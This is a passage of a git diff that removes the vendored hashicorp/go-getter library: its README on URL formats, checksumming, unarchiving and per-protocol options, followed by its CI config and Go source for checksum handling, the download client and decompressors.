URL as the primary form of input. - -The power of this library is being flexible in being able to download -from a number of different sources (file paths, Git, HTTP, Mercurial, etc.) -using a single string as input. This removes the burden of knowing how to -download from a variety of sources from the implementer. - -The concept of a _detector_ automatically turns invalid URLs into proper -URLs. For example: "github.com/hashicorp/go-getter" would turn into a -Git URL. Or "./foo" would turn into a file URL. These are extensible. - -This library is used by [Terraform](https://terraform.io) for -downloading modules and [Nomad](https://nomadproject.io) for downloading -binaries. - -## Installation and Usage - -Package documentation can be found on -[GoDoc](http://godoc.org/github.com/hashicorp/go-getter). - -Installation can be done with a normal `go get`: - -``` -$ go get github.com/hashicorp/go-getter -``` - -go-getter also has a command you can use to test URL strings: - -``` -$ go install github.com/hashicorp/go-getter/cmd/go-getter -... - -$ go-getter github.com/foo/bar ./foo -... -``` - -The command is useful for verifying URL structures. - -## URL Format - -go-getter uses a single string URL as input to download from a variety of -protocols. go-getter has various "tricks" with this URL to do certain things. -This section documents the URL format. - -### Supported Protocols and Detectors - -**Protocols** are used to download files/directories using a specific -mechanism. Example protocols are Git and HTTP. - -**Detectors** are used to transform a valid or invalid URL into another -URL if it matches a certain pattern. Example: "github.com/user/repo" is -automatically transformed into a fully valid Git URL. This allows go-getter -to be very user friendly. - -go-getter out of the box supports the following protocols. Additional protocols -can be augmented at runtime by implementing the `Getter` interface. - - * Local files - * Git - * Mercurial - * HTTP - * Amazon S3 - * Google GCP - -In addition to the above protocols, go-getter has what are called "detectors." -These take a URL and attempt to automatically choose the best protocol for -it, which might involve even changing the protocol. The following detection -is built-in by default: - - * File paths such as "./foo" are automatically changed to absolute - file URLs. - * GitHub URLs, such as "github.com/mitchellh/vagrant" are automatically - changed to Git protocol over HTTP. - * BitBucket URLs, such as "bitbucket.org/mitchellh/vagrant" are automatically - changed to a Git or mercurial protocol using the BitBucket API. - -### Forced Protocol - -In some cases, the protocol to use is ambiguous depending on the source -URL. For example, "http://github.com/mitchellh/vagrant.git" could reference -an HTTP URL or a Git URL. Forced protocol syntax is used to disambiguate this -URL. - -Forced protocol can be done by prefixing the URL with the protocol followed -by double colons. For example: `git::http://github.com/mitchellh/vagrant.git` -would download the given HTTP URL using the Git protocol. - -Forced protocols will also override any detectors. - -In the absence of a forced protocol, detectors may be run on the URL, transforming -the protocol anyways. The above example would've used the Git protocol either -way since the Git detector would've detected it was a GitHub URL. - -### Protocol-Specific Options - -Each protocol can support protocol-specific options to configure that -protocol. For example, the `git` protocol supports specifying a `ref` -query parameter that tells it what ref to checkout for that Git -repository. - -The options are specified as query parameters on the URL (or URL-like string) -given to go-getter. Using the Git example above, the URL below is a valid -input to go-getter: - - github.com/hashicorp/go-getter?ref=abcd1234 - -The protocol-specific options are documented below the URL format -section. But because they are part of the URL, we point it out here so -you know they exist. - -### Subdirectories - -If you want to download only a specific subdirectory from a downloaded -directory, you can specify a subdirectory after a double-slash `//`. -go-getter will first download the URL specified _before_ the double-slash -(as if you didn't specify a double-slash), but will then copy the -path after the double slash into the target directory. - -For example, if you're downloading this GitHub repository, but you only -want to download the `testdata` directory, you can do the following: - -``` -https://github.com/hashicorp/go-getter.git//testdata -``` - -If you downloaded this to the `/tmp` directory, then the file -`/tmp/archive.gz` would exist. Notice that this file is in the `testdata` -directory in this repository, but because we specified a subdirectory, -go-getter automatically copied only that directory contents. - -Subdirectory paths may contain may also use filesystem glob patterns. -The path must match _exactly one_ entry or go-getter will return an error. -This is useful if you're not sure the exact directory name but it follows -a predictable naming structure. - -For example, the following URL would also work: - -``` -https://github.com/hashicorp/go-getter.git//test-* -``` - -### Checksumming - -For file downloads of any protocol, go-getter can automatically verify -a checksum for you. Note that checksumming only works for downloading files, -not directories, but checksumming will work for any protocol. - -To checksum a file, append a `checksum` query parameter to the URL. go-getter -will parse out this query parameter automatically and use it to verify the -checksum. The parameter value can be in the format of `type:value` or just -`value`, where type is "md5", "sha1", "sha256", "sha512" or "file" . The -"value" should be the actual checksum value or download URL for "file". When -`type` part is omitted, type will be guessed based on the length of the -checksum string. Examples: - -``` -./foo.txt?checksum=md5:b7d96c89d09d9e204f5fedc4d5d55b21 -``` - -``` -./foo.txt?checksum=b7d96c89d09d9e204f5fedc4d5d55b21 -``` - -``` -./foo.txt?checksum=file:./foo.txt.sha256sum -``` - -When checksumming from a file - ex: with `checksum=file:url` - go-getter will -get the file linked in the URL after `file:` using the same configuration. For -example, in `file:http://releases.ubuntu.com/cosmic/MD5SUMS` go-getter will -download a checksum file under the aforementioned url using the http protocol. -All protocols supported by go-getter can be used. The checksum file will be -downloaded in a temporary file then parsed. The destination of the temporary -file can be changed by setting system specific environment variables: `TMPDIR` -for unix; `TMP`, `TEMP` or `USERPROFILE` on windows. Read godoc of -[os.TempDir](https://golang.org/pkg/os/#TempDir) for more information on the -temporary directory selection. Content of files are expected to be BSD or GNU -style. Once go-getter is done with the checksum file; it is deleted. - -The checksum query parameter is never sent to the backend protocol -implementation. It is used at a higher level by go-getter itself. - -If the destination file exists and the checksums match: download -will be skipped. - -### Unarchiving - -go-getter will automatically unarchive files into a file or directory -based on the extension of the file being requested (over any protocol). -This works for both file and directory downloads. - -go-getter looks for an `archive` query parameter to specify the format of -the archive. If this isn't specified, go-getter will use the extension of -the path to see if it appears archived. Unarchiving can be explicitly -disabled by setting the `archive` query parameter to `false`. - -The following archive formats are supported: - - * `tar.gz` and `tgz` - * `tar.bz2` and `tbz2` - * `tar.xz` and `txz` - * `zip` - * `gz` - * `bz2` - * `xz` - -For example, an example URL is shown below: - -``` -./foo.zip -``` - -This will automatically be inferred to be a ZIP file and will be extracted. -You can also be explicit about the archive type: - -``` -./some/other/path?archive=zip -``` - -And finally, you can disable archiving completely: - -``` -./some/path?archive=false -``` - -You can combine unarchiving with the other features of go-getter such -as checksumming. The special `archive` query parameter will be removed -from the URL before going to the final protocol downloader. - -## Protocol-Specific Options - -This section documents the protocol-specific options that can be specified for -go-getter. These options should be appended to the input as normal query -parameters ([HTTP headers](#headers) are an exception to this, however). -Depending on the usage of go-getter, applications may provide alternate ways of -inputting options. For example, [Nomad](https://www.nomadproject.io) provides a -nice options block for specifying options rather than in the URL. - -## General (All Protocols) - -The options below are available to all protocols: - - * `archive` - The archive format to use to unarchive this file, or "" (empty - string) to disable unarchiving. For more details, see the complete section - on archive support above. - - * `checksum` - Checksum to verify the downloaded file or archive. See - the entire section on checksumming above for format and more details. - - * `filename` - When in file download mode, allows specifying the name of the - downloaded file on disk. Has no effect in directory mode. - -### Local Files (`file`) - -None - -### Git (`git`) - - * `ref` - The Git ref to checkout. This is a ref, so it can point to - a commit SHA, a branch name, etc. If it is a named ref such as a branch - name, go-getter will update it to the latest on each get. - - * `sshkey` - An SSH private key to use during clones. The provided key must - be a base64-encoded string. For example, to generate a suitable `sshkey` - from a private key file on disk, you would run `base64 -w0 `. - - **Note**: Git 2.3+ is required to use this feature. - - * `depth` - The Git clone depth. The provided number specifies the last `n` - revisions to clone from the repository. - - -The `git` getter accepts both URL-style SSH addresses like -`git::ssh://git@example.com/foo/bar`, and "scp-style" addresses like -`git::git@example.com/foo/bar`. In the latter case, omitting the `git::` -force prefix is allowed if the username prefix is exactly `git@`. - -The "scp-style" addresses _cannot_ be used in conjunction with the `ssh://` -scheme prefix, because in that case the colon is used to mark an optional -port number to connect on, rather than to delimit the path from the host. - -### Mercurial (`hg`) - - * `rev` - The Mercurial revision to checkout. - -### HTTP (`http`) - -#### Basic Authentication - -To use HTTP basic authentication with go-getter, simply prepend `username:password@` to the -hostname in the URL such as `https://Aladdin:OpenSesame@www.example.com/index.html`. All special -characters, including the username and password, must be URL encoded. - -#### Headers - -Optional request headers can be added by supplying them in a custom -[`HttpGetter`](https://godoc.org/github.com/hashicorp/go-getter#HttpGetter) -(_not_ as query parameters like most other options). These headers will be sent -out on every request the getter in question makes. - -### S3 (`s3`) - -S3 takes various access configurations in the URL. Note that it will also -read these from standard AWS environment variables if they're set. S3 compliant servers like Minio -are also supported. If the query parameters are present, these take priority. - - * `aws_access_key_id` - AWS access key. - * `aws_access_key_secret` - AWS access key secret. - * `aws_access_token` - AWS access token if this is being used. - -#### Using IAM Instance Profiles with S3 - -If you use go-getter and want to use an EC2 IAM Instance Profile to avoid -using credentials, then just omit these and the profile, if available will -be used automatically. - -### Using S3 with Minio - If you use go-gitter for Minio support, you must consider the following: - - * `aws_access_key_id` (required) - Minio access key. - * `aws_access_key_secret` (required) - Minio access key secret. - * `region` (optional - defaults to us-east-1) - Region identifier to use. - * `version` (optional - defaults to Minio default) - Configuration file format. - -#### S3 Bucket Examples - -S3 has several addressing schemes used to reference your bucket. These are -listed here: http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html#access-bucket-intro - -Some examples for these addressing schemes: -- s3::https://s3.amazonaws.com/bucket/foo -- s3::https://s3-eu-west-1.amazonaws.com/bucket/foo -- bucket.s3.amazonaws.com/foo -- bucket.s3-eu-west-1.amazonaws.com/foo/bar -- "s3::http://127.0.0.1:9000/test-bucket/hello.txt?aws_access_key_id=KEYID&aws_access_key_secret=SECRETKEY®ion=us-east-2" - -### GCS (`gcs`) - -#### GCS Authentication - -In order to access to GCS, authentication credentials should be provided. More information can be found [here](https://cloud.google.com/docs/authentication/getting-started) - -#### GCS Bucket Examples - -- gcs::https://www.googleapis.com/storage/v1/bucket -- gcs::https://www.googleapis.com/storage/v1/bucket/foo.zip -- www.googleapis.com/storage/v1/bucket/foo diff --git a/vendor/github.com/hashicorp/go-getter/appveyor.yml b/vendor/github.com/hashicorp/go-getter/appveyor.yml deleted file mode 100644 index 1e8718e17e..0000000000 --- a/vendor/github.com/hashicorp/go-getter/appveyor.yml +++ /dev/null @@ -1,16 +0,0 @@ -version: "build-{branch}-{build}" -image: Visual Studio 2017 -clone_folder: c:\gopath\github.com\hashicorp\go-getter -environment: - GOPATH: c:\gopath -install: -- cmd: >- - echo %Path% - - go version - - go env - - go get -d -v -t ./... -build_script: -- cmd: go test ./... diff --git a/vendor/github.com/hashicorp/go-getter/checksum.go b/vendor/github.com/hashicorp/go-getter/checksum.go deleted file mode 100644 index eeccfea9d3..0000000000 --- a/vendor/github.com/hashicorp/go-getter/checksum.go +++ /dev/null @@ -1,314 +0,0 @@ -package getter - -import ( - "bufio" - "bytes" - "crypto/md5" - "crypto/sha1" - "crypto/sha256" - "crypto/sha512" - "encoding/hex" - "fmt" - "hash" - "io" - "net/url" - "os" - "path/filepath" - "strings" - - urlhelper "github.com/hashicorp/go-getter/helper/url" -) - -// FileChecksum helps verifying the checksum for a file. -type FileChecksum struct { - Type string - Hash hash.Hash - Value []byte - Filename string -} - -// A ChecksumError is returned when a checksum differs -type ChecksumError struct { - Hash hash.Hash - Actual []byte - Expected []byte - File string -} - -func (cerr *ChecksumError) Error() string { - if cerr == nil { - return "" - } - return fmt.Sprintf( - "Checksums did not match for %s.\nExpected: %s\nGot: %s\n%T", - cerr.File, - hex.EncodeToString(cerr.Expected), - hex.EncodeToString(cerr.Actual), - cerr.Hash, // ex: *sha256.digest - ) -} - -// checksum is a simple method to compute the checksum of a source file -// and compare it to the given expected value. -func (c *FileChecksum) checksum(source string) error { - f, err := os.Open(source) - if err != nil { - return fmt.Errorf("Failed to open file for checksum: %s", err) - } - defer f.Close() - - c.Hash.Reset() - if _, err := io.Copy(c.Hash, f); err != nil { - return fmt.Errorf("Failed to hash: %s", err) - } - - if actual := c.Hash.Sum(nil); !bytes.Equal(actual, c.Value) { - return &ChecksumError{ - Hash: c.Hash, - Actual: actual, - Expected: c.Value, - File: source, - } - } - - return nil -} - -// extractChecksum will return a FileChecksum based on the 'checksum' -// parameter of u. -// ex: -// http://hashicorp.com/terraform?checksum= -// http://hashicorp.com/terraform?checksum=: -// http://hashicorp.com/terraform?checksum=file: -// when checksumming from a file, extractChecksum will go get checksum_url -// in a temporary directory, parse the content of the file then delete it. -// Content of files are expected to be BSD style or GNU style. -// -// BSD-style checksum: -// MD5 (file1) = -// MD5 (file2) = -// -// GNU-style: -// file1 -// *file2 -// -// see parseChecksumLine for more detail on checksum file parsing -func (c *Client) extractChecksum(u *url.URL) (*FileChecksum, error) { - q := u.Query() - v := q.Get("checksum") - - if v == "" { - return nil, nil - } - - vs := strings.SplitN(v, ":", 2) - switch len(vs) { - case 2: - break // good - default: - // here, we try to guess the checksum from it's length - // if the type was not passed - return newChecksumFromValue(v, filepath.Base(u.EscapedPath())) - } - - checksumType, checksumValue := vs[0], vs[1] - - switch checksumType { - case "file": - return c.ChecksumFromFile(checksumValue, u) - default: - return newChecksumFromType(checksumType, checksumValue, filepath.Base(u.EscapedPath())) - } -} - -func newChecksum(checksumValue, filename string) (*FileChecksum, error) { - c := &FileChecksum{ - Filename: filename, - } - var err error - c.Value, err = hex.DecodeString(checksumValue) - if err != nil { - return nil, fmt.Errorf("invalid checksum: %s", err) - } - return c, nil -} - -func newChecksumFromType(checksumType, checksumValue, filename string) (*FileChecksum, error) { - c, err := newChecksum(checksumValue, filename) - if err != nil { - return nil, err - } - - c.Type = strings.ToLower(checksumType) - switch c.Type { - case "md5": - c.Hash = md5.New() - case "sha1": - c.Hash = sha1.New() - case "sha256": - c.Hash = sha256.New() - case "sha512": - c.Hash = sha512.New() - default: - return nil, fmt.Errorf( - "unsupported checksum type: %s", checksumType) - } - - return c, nil -} - -func newChecksumFromValue(checksumValue, filename string) (*FileChecksum, error) { - c, err := newChecksum(checksumValue, filename) - if err != nil { - return nil, err - } - - switch len(c.Value) { - case md5.Size: - c.Hash = md5.New() - c.Type = "md5" - case sha1.Size: - c.Hash = sha1.New() - c.Type = "sha1" - case sha256.Size: - c.Hash = sha256.New() - c.Type = "sha256" - case sha512.Size: - c.Hash = sha512.New() - c.Type = "sha512" - default: - return nil, fmt.Errorf("Unknown type for checksum %s", checksumValue) - } - - return c, nil -} - -// ChecksumFromFile will return all the FileChecksums found in file -// -// ChecksumFromFile will try to guess the hashing algorithm based on content -// of checksum file -// -// ChecksumFromFile will only return checksums for files that match file -// behind src -func (c *Client) ChecksumFromFile(checksumFile string, src *url.URL) (*FileChecksum, error) { - checksumFileURL, err := urlhelper.Parse(checksumFile) - if err != nil { - return nil, err - } - - tempfile, err := tmpFile("", filepath.Base(checksumFileURL.Path)) - if err != nil { - return nil, err - } - defer os.Remove(tempfile) - - c2 := &Client{ - Ctx: c.Ctx, - Getters: c.Getters, - Decompressors: c.Decompressors, - Detectors: c.Detectors, - Pwd: c.Pwd, - Dir: false, - Src: checksumFile, - Dst: tempfile, - ProgressListener: c.ProgressListener, - } - if err = c2.Get(); err != nil { - return nil, fmt.Errorf( - "Error downloading checksum file: %s", err) - } - - filename := filepath.Base(src.Path) - absPath, err := filepath.Abs(src.Path) - if err != nil { - return nil, err - } - checksumFileDir := filepath.Dir(checksumFileURL.Path) - relpath, err := filepath.Rel(checksumFileDir, absPath) - switch { - case err == nil || - err.Error() == "Rel: can't make "+absPath+" relative to "+checksumFileDir: - // ex: on windows C:\gopath\...\content.txt cannot be relative to \ - // which is okay, may be another expected path will work. - break - default: - return nil, err - } - - // possible file identifiers: - options := []string{ - filename, // ubuntu-14.04.1-server-amd64.iso - "*" + filename, // *ubuntu-14.04.1-server-amd64.iso Standard checksum - "?" + filename, // ?ubuntu-14.04.1-server-amd64.iso shasum -p - relpath, // dir/ubuntu-14.04.1-server-amd64.iso - "./" + relpath, // ./dir/ubuntu-14.04.1-server-amd64.iso - absPath, // fullpath; set if local - } - - f, err := os.Open(tempfile) - if err != nil { - return nil, fmt.Errorf( - "Error opening downloaded file: %s", err) - } - defer f.Close() - rd := bufio.NewReader(f) - for { - line, err := rd.ReadString('\n') - if err != nil { - if err != io.EOF { - return nil, fmt.Errorf( - "Error reading checksum file: %s", err) - } - break - } - checksum, err := parseChecksumLine(line) - if err != nil || checksum == nil { - continue - } - if checksum.Filename == "" { - // filename not sure, let's try - return checksum, nil - } - // make sure the checksum is for the right file - for _, option := range options { - if option != "" && checksum.Filename == option { - // any checksum will work so we return the first one - return checksum, nil - } - } - } - return nil, fmt.Errorf("no checksum found in: %s", checksumFile) -} - -// parseChecksumLine takes a line from a checksum file and returns -// checksumType, checksumValue and filename parseChecksumLine guesses the style -// of the checksum BSD vs GNU by splitting the line and by counting the parts. -// of a line. -// for BSD type sums parseChecksumLine guesses the hashing algorithm -// by checking the length of the checksum. -func parseChecksumLine(line string) (*FileChecksum, error) { - parts := strings.Fields(line) - - switch len(parts) { - case 4: - // BSD-style checksum: - // MD5 (file1) = - // MD5 (file2) = - if len(parts[1]) <= 2 || - parts[1][0] != '(' || parts[1][len(parts[1])-1] != ')' { - return nil, fmt.Errorf( - "Unexpected BSD-style-checksum filename format: %s", line) - } - filename := parts[1][1 : len(parts[1])-1] - return newChecksumFromType(parts[0], parts[3], filename) - case 2: - // GNU-style: - // file1 - // *file2 - return newChecksumFromValue(parts[0], parts[1]) - case 0: - return nil, nil // empty line - default: - return newChecksumFromValue(parts[0], "") - } -} diff --git a/vendor/github.com/hashicorp/go-getter/client.go b/vendor/github.com/hashicorp/go-getter/client.go deleted file mode 100644 index 007a78ba7c..0000000000 --- a/vendor/github.com/hashicorp/go-getter/client.go +++ /dev/null @@ -1,298 +0,0 @@ -package getter - -import ( - "context" - "fmt" - "io/ioutil" - "os" - "path/filepath" - "strconv" - "strings" - - urlhelper "github.com/hashicorp/go-getter/helper/url" - safetemp "github.com/hashicorp/go-safetemp" -) - -// Client is a client for downloading things. -// -// Top-level functions such as Get are shortcuts for interacting with a client. -// Using a client directly allows more fine-grained control over how downloading -// is done, as well as customizing the protocols supported. -type Client struct { - // Ctx for cancellation - Ctx context.Context - - // Src is the source URL to get. - // - // Dst is the path to save the downloaded thing as. If Dir is set to - // true, then this should be a directory. If the directory doesn't exist, - // it will be created for you. - // - // Pwd is the working directory for detection. If this isn't set, some - // detection may fail. Client will not default pwd to the current - // working directory for security reasons. - Src string - Dst string - Pwd string - - // Mode is the method of download the client will use. See ClientMode - // for documentation. - Mode ClientMode - - // Detectors is the list of detectors that are tried on the source. - // If this is nil, then the default Detectors will be used. - Detectors []Detector - - // Decompressors is the map of decompressors supported by this client. - // If this is nil, then the default value is the Decompressors global. - Decompressors map[string]Decompressor - - // Getters is the map of protocols supported by this client. If this - // is nil, then the default Getters variable will be used. - Getters map[string]Getter - - // Dir, if true, tells the Client it is downloading a directory (versus - // a single file). This distinction is necessary since filenames and - // directory names follow the same format so disambiguating is impossible - // without knowing ahead of time. - // - // WARNING: deprecated. If Mode is set, that will take precedence. - Dir bool - - // ProgressListener allows to track file downloads. - // By default a no op progress listener is used. - ProgressListener ProgressTracker - - Options []ClientOption -} - -// Get downloads the configured source to the destination. -func (c *Client) Get() error { - if err := c.Configure(c.Options...); err != nil { - return err - } - - // Store this locally since there are cases we swap this - mode := c.Mode - if mode == ClientModeInvalid { - if c.Dir { - mode = ClientModeDir - } else { - mode = ClientModeFile - } - } - - src, err := Detect(c.Src, c.Pwd, c.Detectors) - if err != nil { - return err - } - - // Determine if we have a forced protocol, i.e. "git::http://..." - force, src := getForcedGetter(src) - - // If there is a subdir component, then we download the root separately - // and then copy over the proper subdir. - var realDst string - dst := c.Dst - src, subDir := SourceDirSubdir(src) - if subDir != "" { - td, tdcloser, err := safetemp.Dir("", "getter") - if err != nil { - return err - } - defer tdcloser.Close() - - realDst = dst - dst = td - } - - u, err := urlhelper.Parse(src) - if err != nil { - return err - } - if force == "" { - force = u.Scheme - } - - g, ok := c.Getters[force] - if !ok { - return fmt.Errorf( - "download not supported for scheme '%s'", force) - } - - // We have magic query parameters that we use to signal different features - q := u.Query() - - // Determine if we have an archive type - archiveV := q.Get("archive") - if archiveV != "" { - // Delete the paramter since it is a magic parameter we don't - // want to pass on to the Getter - q.Del("archive") - u.RawQuery = q.Encode() - - // If we can parse the value as a bool and it is false, then - // set the archive to "-" which should never map to a decompressor - if b, err := strconv.ParseBool(archiveV); err == nil && !b { - archiveV = "-" - } - } - if archiveV == "" { - // We don't appear to... but is it part of the filename? - matchingLen := 0 - for k := range c.Decompressors { - if strings.HasSuffix(u.Path, "."+k) && len(k) > matchingLen { - archiveV = k - matchingLen = len(k) - } - } - } - - // If we have a decompressor, then we need to change the destination - // to download to a temporary path. We unarchive this into the final, - // real path. - var decompressDst string - var decompressDir bool - decompressor := c.Decompressors[archiveV] - if decompressor != nil { - // Create a temporary directory to store our archive. We delete - // this at the end of everything. - td, err := ioutil.TempDir("", "getter") - if err != nil { - return fmt.Errorf( - "Error creating temporary directory for archive: %s", err) - } - defer os.RemoveAll(td) - - // Swap the download directory to be our temporary path and - // store the old values. - decompressDst = dst - decompressDir = mode != ClientModeFile - dst = filepath.Join(td, "archive") - mode = ClientModeFile - } - - // Determine checksum if we have one - checksum, err := c.extractChecksum(u) - if err != nil { - return fmt.Errorf("invalid checksum: %s", err) - } - - // Delete the query parameter if we have it. - q.Del("checksum") - u.RawQuery = q.Encode() - - if mode == ClientModeAny { - // Ask the getter which client mode to use - mode, err = g.ClientMode(u) - if err != nil { - return err - } - - // Destination is the base name of the URL path in "any" mode when - // a file source is detected. - if mode == ClientModeFile { - filename := filepath.Base(u.Path) - - // Determine if we have a custom file name - if v := q.Get("filename"); v != "" { - // Delete the query parameter if we have it. - q.Del("filename") - u.RawQuery = q.Encode() - - filename = v - } - - dst = filepath.Join(dst, filename) - } - } - - // If we're not downloading a directory, then just download the file - // and return. - if mode == ClientModeFile { - getFile := true - if checksum != nil { - if err := checksum.checksum(dst); err == nil { - // don't get the file if the checksum of dst is correct - getFile = false - } - } - if getFile { - err := g.GetFile(dst, u) - if err != nil { - return err - } - - if checksum != nil { - if err := checksum.checksum(dst); err != nil { - return err - } - } - } - - if decompressor != nil { - // We have a decompressor, so decompress the current destination - // into the final destination with the proper mode. - err := decompressor.Decompress(decompressDst, dst, decompressDir) - if err != nil { - return err - } - - // Swap the information back - dst = decompressDst - if decompressDir { - mode = ClientModeAny - } else { - mode = ClientModeFile - } - } - - // We check the dir value again because it can be switched back - // if we were unarchiving. If we're still only Get-ing a file, then - // we're done. - if mode == ClientModeFile { - return nil - } - } - - // If we're at this point we're either downloading a directory or we've - // downloaded and unarchived a directory and we're just checking subdir. - // In the case we have a decompressor we don't Get because it was Get - // above. - if decompressor == nil { - // If we're getting a directory, then this is an error. You cannot - // checksum a directory. TODO: test - if checksum != nil { - return fmt.Errorf( - "checksum cannot be specified for directory download") - } - - // We're downloading a directory, which might require a bit more work - // if we're specifying a subdir. - err := g.Get(dst, u) - if err != nil { - err = fmt.Errorf("error downloading '%s': %s", src, err) - return err - } - } - - // If we have a subdir, copy that over - if subDir != "" { - if err := os.RemoveAll(realDst); err != nil { - return err - } - if err := os.MkdirAll(realDst, 0755); err != nil { - return err - } - - // Process any globs - subDir, err := SubdirGlob(dst, subDir) - if err != nil { - return err - } - - return copyDir(c.Ctx, realDst, subDir, false) - } - - return nil -} diff --git a/vendor/github.com/hashicorp/go-getter/client_mode.go b/vendor/github.com/hashicorp/go-getter/client_mode.go deleted file mode 100644 index 7f02509a78..0000000000 --- a/vendor/github.com/hashicorp/go-getter/client_mode.go +++ /dev/null @@ -1,24 +0,0 @@ -package getter - -// ClientMode is the mode that the client operates in. -type ClientMode uint - -const ( - ClientModeInvalid ClientMode = iota - - // ClientModeAny downloads anything it can. In this mode, dst must - // be a directory. If src is a file, it is saved into the directory - // with the basename of the URL. If src is a directory or archive, - // it is unpacked directly into dst. - ClientModeAny - - // ClientModeFile downloads a single file. In this mode, dst must - // be a file path (doesn't have to exist). src must point to a single - // file. It is saved as dst. - ClientModeFile - - // ClientModeDir downloads a directory. In this mode, dst must be - // a directory path (doesn't have to exist). src must point to an - // archive or directory (such as in s3). - ClientModeDir -) diff --git a/vendor/github.com/hashicorp/go-getter/client_option.go b/vendor/github.com/hashicorp/go-getter/client_option.go deleted file mode 100644 index c1ee413b05..0000000000 --- a/vendor/github.com/hashicorp/go-getter/client_option.go +++ /dev/null @@ -1,46 +0,0 @@ -package getter - -import "context" - -// A ClientOption allows to configure a client -type ClientOption func(*Client) error - -// Configure configures a client with options. -func (c *Client) Configure(opts ...ClientOption) error { - if c.Ctx == nil { - c.Ctx = context.Background() - } - c.Options = opts - for _, opt := range opts { - err := opt(c) - if err != nil { - return err - } - } - // Default decompressor values - if c.Decompressors == nil { - c.Decompressors = Decompressors - } - // Default detector values - if c.Detectors == nil { - c.Detectors = Detectors - } - // Default getter values - if c.Getters == nil { - c.Getters = Getters - } - - for _, getter := range c.Getters { - getter.SetClient(c) - } - return nil -} - -// WithContext allows to pass a context to operation -// in order to be able to cancel a download in progress. -func WithContext(ctx context.Context) func(*Client) error { - return func(c *Client) error { - c.Ctx = ctx - return nil - } -} diff --git a/vendor/github.com/hashicorp/go-getter/client_option_progress.go b/vendor/github.com/hashicorp/go-getter/client_option_progress.go deleted file mode 100644 index 9b185f71de..0000000000 --- a/vendor/github.com/hashicorp/go-getter/client_option_progress.go +++ /dev/null @@ -1,38 +0,0 @@ -package getter - -import ( - "io" -) - -// WithProgress allows for a user to track -// the progress of a download. -// For example by displaying a progress bar with -// current download. -// Not all getters have progress support yet. -func WithProgress(pl ProgressTracker) func(*Client) error { - return func(c *Client) error { - c.ProgressListener = pl - return nil - } -} - -// ProgressTracker allows to track the progress of downloads. -type ProgressTracker interface { - // TrackProgress should be called when - // a new object is being downloaded. - // src is the location the file is - // downloaded from. - // currentSize is the current size of - // the file in case it is a partial - // download. - // totalSize is the total size in bytes, - // size can be zero if the file size - // is not known. - // stream is the file being downloaded, every - // written byte will add up to processed size. - // - // TrackProgress returns a ReadCloser that wraps the - // download in progress ( stream ). - // When the download is finished, body shall be closed. - TrackProgress(src string, currentSize, totalSize int64, stream io.ReadCloser) (body io.ReadCloser) -} diff --git a/vendor/github.com/hashicorp/go-getter/common.go b/vendor/github.com/hashicorp/go-getter/common.go deleted file mode 100644 index d2afd8ad88..0000000000 --- a/vendor/github.com/hashicorp/go-getter/common.go +++ /dev/null @@ -1,14 +0,0 @@ -package getter - -import ( - "io/ioutil" -) - -func tmpFile(dir, pattern string) (string, error) { - f, err := ioutil.TempFile(dir, pattern) - if err != nil { - return "", err - } - f.Close() - return f.Name(), nil -} diff --git a/vendor/github.com/hashicorp/go-getter/copy_dir.go b/vendor/github.com/hashicorp/go-getter/copy_dir.go deleted file mode 100644 index 641fe6d0f1..0000000000 --- a/vendor/github.com/hashicorp/go-getter/copy_dir.go +++ /dev/null @@ -1,78 +0,0 @@ -package getter - -import ( - "context" - "os" - "path/filepath" - "strings" -) - -// copyDir copies the src directory contents into dst. Both directories -// should already exist. -// -// If ignoreDot is set to true, then dot-prefixed files/folders are ignored. -func copyDir(ctx context.Context, dst string, src string, ignoreDot bool) error { - src, err := filepath.EvalSymlinks(src) - if err != nil { - return err - } - - walkFn := func(path string, info os.FileInfo, err error) error { - if err != nil { - return err - } - if path == src { - return nil - } - - if ignoreDot && strings.HasPrefix(filepath.Base(path), ".") { - // Skip any dot files - if info.IsDir() { - return filepath.SkipDir - } else { - return nil - } - } - - // The "path" has the src prefixed to it. We need to join our - // destination with the path without the src on it. - dstPath := filepath.Join(dst, path[len(src):]) - - // If we have a directory, make that subdirectory, then continue - // the walk. - if info.IsDir() { - if path == filepath.Join(src, dst) { - // dst is in src; don't walk it. - return nil - } - - if err := os.MkdirAll(dstPath, 0755); err != nil { - return err - } - - return nil - } - - // If we have a file, copy the contents. - srcF, err := os.Open(path) - if err != nil { - return err - } - defer srcF.Close() - - dstF, err := os.Create(dstPath) - if err != nil { - return err - } - defer dstF.Close() - - if _, err := Copy(ctx, dstF, srcF); err != nil { - return err - } - - // Chmod it - return os.Chmod(dstPath, info.Mode()) - } - - return filepath.Walk(src, walkFn) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress.go b/vendor/github.com/hashicorp/go-getter/decompress.go deleted file mode 100644 index 198bb0edd0..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress.go +++ /dev/null @@ -1,58 +0,0 @@ -package getter - -import ( - "strings" -) - -// Decompressor defines the interface that must be implemented to add -// support for decompressing a type. -// -// Important: if you're implementing a decompressor, please use the -// containsDotDot helper in this file to ensure that files can't be -// decompressed outside of the specified directory. -type Decompressor interface { - // Decompress should decompress src to dst. dir specifies whether dst - // is a directory or single file. src is guaranteed to be a single file - // that exists. dst is not guaranteed to exist already. - Decompress(dst, src string, dir bool) error -} - -// Decompressors is the mapping of extension to the Decompressor implementation -// that will decompress that extension/type. -var Decompressors map[string]Decompressor - -func init() { - tbzDecompressor := new(TarBzip2Decompressor) - tgzDecompressor := new(TarGzipDecompressor) - txzDecompressor := new(TarXzDecompressor) - - Decompressors = map[string]Decompressor{ - "bz2": new(Bzip2Decompressor), - "gz": new(GzipDecompressor), - "xz": new(XzDecompressor), - "tar.bz2": tbzDecompressor, - "tar.gz": tgzDecompressor, - "tar.xz": txzDecompressor, - "tbz2": tbzDecompressor, - "tgz": tgzDecompressor, - "txz": txzDecompressor, - "zip": new(ZipDecompressor), - } -} - -// containsDotDot checks if the filepath value v contains a ".." entry. -// This will check filepath components by splitting along / or \. This -// function is copied directly from the Go net/http implementation. -func containsDotDot(v string) bool { - if !strings.Contains(v, "..") { - return false - } - for _, ent := range strings.FieldsFunc(v, isSlashRune) { - if ent == ".." { - return true - } - } - return false -} - -func isSlashRune(r rune) bool { return r == '/' || r == '\\' } diff --git a/vendor/github.com/hashicorp/go-getter/decompress_bzip2.go b/vendor/github.com/hashicorp/go-getter/decompress_bzip2.go deleted file mode 100644 index 339f4cf7af..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_bzip2.go +++ /dev/null @@ -1,45 +0,0 @@ -package getter - -import ( - "compress/bzip2" - "fmt" - "io" - "os" - "path/filepath" -) - -// 